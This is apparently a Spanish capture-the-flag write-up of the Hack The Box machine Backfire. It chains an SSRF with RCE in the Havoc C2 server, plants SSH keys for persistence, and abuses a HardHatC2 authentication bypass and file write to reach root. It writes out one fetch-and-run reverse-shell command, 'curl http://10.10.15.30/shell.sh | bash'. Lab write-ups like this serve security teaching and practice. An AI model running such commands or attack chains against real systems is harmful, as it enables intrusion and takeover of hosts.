🟠Backfire
En esta ocasión vamos a hacer el writeup de la máquina Backfire de Hack the Box, una máquina Linux de dificultad medium.

Información General
Nombre de la máquina:
BackfireIP:
10.10.11.49Sistema operativo:
LinuxDificultad:
🟡 MediaFecha:
09/06/2025
Reconocimiento Inicial
Añadimos la IP al /etc/hosts
Escaneo de Puertos
Destacan los puertos 8000 (servicio web), 443 y el puerto 5000 (filtered).
Acceso Web
Accedemos a 10.10.11.49:8000 y observamos que hay 2 archivos a los que tenemos acceso.

El archivo disable_tls nos indica un un puerto en localhost 40056 por el que corre la aplicación web, pero al que solo podemos acceder por SSH forwarding. Indica que el usuario serjeg no está trabajando, por lo que sobre todo centraremos nuestros esfuerzos en otros usuarios:
Antes de que se aplique el parche, el servidor escucha utilizando wss, que se conecta solo a HTTPS, y viceversa. Ahora, eso ha cambiado a ws, lo que permite a los usuarios comunicarse en HTTP. Además, se elimina la llamada al método setSslConfiguration, lo que permite una conexión HTTP insegura.
En el archivo havoc encontramos y credenciales de varios usuarios: ilya y sergej:
El listener escucha en TCP/8443. A partir del resultado del escaneo Nmap, sabemos que Nginx escucha en TCP/443, lo que puede indicar que Nginx se está utilizando como un redireccionador. Al observar los exploits públicos para Havoc C&C, hay un Server Side Request Forgery y una Ejecución Remota de Código Autenticada.
Foothold inicial
El primer paso en nuestra cadena de ataque es verificar si los Proof of Concepts proporcionados funcionan como se espera. El PoC de SSRF requiere tres argumentos de línea de comandos: la URL objetivo, la dirección IP y el puerto del listener del atacante.
Observamos la respuesta HTTP de nuestro listener:
Esto confirma que el SSRF está funcionando: el objetivo vulnerable está realizando solicitudes HTTP a un servidor controlado por el atacante.
Havoc RCE
La explotación de ejecución remota de código (RCE) requiere una conexión WebSocket válida al servidor de Havoc. A partir del perfil expuesto de Havoc, sabemos que el listener de WebSocket corre en el puerto TCP 40056, el cual no es accesible externamente de forma directa. Sin embargo, dado que el SSRF permite solicitudes HTTP internas, podemos sondear este puerto a través de localhost (127.0.0.1):
Recibir un 404 Not Found confirma que el puerto está abierto y acepta solicitudes HTTP, lo cual es un paso clave hacia el encadenamiento de SSRF con RCE.
SSRF a RCE
Crear Reverse Shell
Abrir servidor local con python
Ejecución del exploit
Ejecutamos el exploit pasándole las credenciales del usuario ilya y conseguimos una reverse shell. Cuando nos salte el prompt para introducir un comando usamos curl http://10.10.15.30/shell.sh | bash
Recibir Reverse Shell

User Flag
Persistencia SSH
La sesión de la shell dura muy poco tiempo, por lo que generaremos un par de claves SSH para mantener el acceso sin contraseña:
Generar clave desde Kali
Insertar en el objetivo
Conexión sin contraseña
Escalada de Privilegios
Al leer hardhat.txt, descubrimos que Sergej instaló HardHatC2 para pruebas:
Comprobar servicios internos
Nos llama la atención los puertos 5000 y 7096.
Port Forwarding SSH
Redirigiremos el tráfico a esos puertos para ver los servicios expuestos:
Accedemos al portal web en https://localhost:7096

Probamos las contraseñas que tenemos hasta ahora de los usuarios pero no funcionan, por lo que tendremos que buscar otra vía para acceder.
Explotación de HardHatC2 – Auth Bypass + RCE
Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก Vulnerabilidades destacadas:
Arbitrary File Write
Authentication Bypass
Remote Code Execution (RCE)
Probamos el bypass de autenticación, y confirmamos que se creó el usuario sth_pentest:
Confirmamos que se crea el usuario sth_pentest
sth_pentestAccedemos a Hardhat C2 con las credenciales:

Hardhat RCE
Después de obtener un usuario con rol TeamLead utilizando la vulnerabilidad de omisión de autenticación, un atacante puede interactuar con los implants y el propio host C2 para ejecutar comandos del sistema operativo.
Hacemos click en el botón azul "Interact" y vamos a la terminal arriba del todo:

👑 Root Flag
Dentro de la interfaz Implant Interact -> Terminal , el atacante puede emitir comandos arbitrarios que se ejecutan con privilegios de root (por configuración predeterminada) en el host C2 de la víctima o en los hosts del implante.
No podemos leer la flag directamente pero podemos conseguir una reverse shell como el usuario sergej:

Permisos de ejecución
Un poco de investigación sobre estas herramientas debería ayudarnos a encontrar un blog escrito por smaury.
El blog tiene como objetivo explotar una vulnerabilidad de escritura de archivos arbitraria, permitiendo a un atacante escribir en cualquier archivo. Podemos añadir nuestra clave SSH a los authorized_keys del root (o crear una nueva) e iniciar sesión como root.
Crear SSH Key de Root
Nos copiamos la llave SSH root_key a nuestro Kali
Y ya somos root!
Última actualización
¿Te fue útil?